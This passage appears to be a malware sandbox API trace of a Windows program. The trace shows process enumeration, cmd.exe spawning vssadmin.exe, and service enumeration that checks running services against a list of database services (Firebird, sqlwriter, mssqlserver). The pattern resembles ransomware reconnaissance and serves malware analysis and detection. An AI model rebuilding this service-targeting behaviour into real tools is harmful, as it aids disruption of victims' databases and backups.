th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0052.422] lstrlenW (lpString="professor-mo.exe") returned 16 [0052.422] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0052.422] lstrlenW (lpString="guidance.exe") returned 12 [0052.422] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0052.423] lstrlenW (lpString="week.exe") returned 8 [0052.423] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0052.423] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0052.423] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0052.423] lstrlenW (lpString="sn featured.exe") returned 15 [0052.423] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0052.424] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0052.424] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0052.424] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0052.424] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.424] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.424] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0052.425] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0052.425] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.425] lstrlenW (lpString="cmd.exe") returned 7 [0052.425] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.425] lstrlenW (lpString="conhost.exe") returned 11 [0052.425] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.425] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.425] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.426] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.426] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.426] lstrlenW (lpString="svchost.exe") returned 11 [0052.426] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.426] CloseHandle (hObject=0x388) returned 1 [0052.426] Sleep (dwMilliseconds=0x1f4) [0053.744] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297ae0 [0053.755] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0053.766] GetLastError () returned 0xea [0053.766] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f30020 [0053.768] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f30020, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f30020, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0053.775] CloseServiceHandle (hSCObject=0x3297ae0) returned 1 [0053.776] lstrlenW (lpString="Appinfo") returned 7 [0053.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.778] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.781] lstrlenW (lpString="AudioSrv") returned 8 [0053.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.782] lstrlenW (lpString="BFE") returned 3 [0053.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.784] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.784] lstrlenW (lpString="CryptSvc") returned 8 [0053.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.785] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.785] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.785] lstrlenW (lpString="CscService") returned 10 [0053.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.785] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.786] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.787] lstrlenW (lpString="DcomLaunch") returned 10 [0053.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.788] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.788] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.789] lstrlenW (lpString="Dhcp") returned 4 [0053.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.790] lstrlenW (lpString="Dnscache") returned 8 [0053.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.824] lstrlenW (lpString="DPS") returned 3 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.824] lstrlenW (lpString="eventlog") returned 8 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.824] lstrlenW (lpString="EventSystem") returned 11 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.825] lstrlenW (lpString="gpsvc") returned 5 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.825] lstrlenW (lpString="iphlpsvc") returned 8 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.825] lstrlenW (lpString="LanmanServer") returned 12 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.825] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrlenW (lpString="lmhosts") returned 7 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.826] lstrlenW (lpString="MMCSS") returned 5 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.826] lstrlenW (lpString="MpsSvc") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.826] lstrlenW (lpString="Netman") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.826] lstrlenW (lpString="netprofm") returned 8 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.826] lstrlenW (lpString="NlaSvc") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.826] lstrlenW (lpString="nsi") returned 3 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.827] lstrlenW (lpString="PcaSvc") returned 6 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.827] lstrlenW (lpString="PlugPlay") returned 8 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.827] lstrlenW (lpString="Power") returned 5 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.827] lstrlenW (lpString="ProfSvc") returned 7 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.827] lstrlenW (lpString="RpcSs") returned 5 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.828] lstrlenW (lpString="SamSs") returned 5 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.828] lstrlenW (lpString="Schedule") returned 8 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.828] lstrlenW (lpString="SENS") returned 4 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.828] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.828] lstrlenW (lpString="Spooler") returned 7 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.829] lstrlenW (lpString="swprv") returned 5 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.829] lstrlenW (lpString="SysMain") returned 7 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.829] lstrlenW (lpString="Themes") returned 6 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.829] lstrlenW (lpString="TrkWks") returned 6 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.829] lstrlenW (lpString="UxSms") returned 5 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.829] lstrlenW (lpString="VSS") returned 3 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.830] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.830] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.830] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW 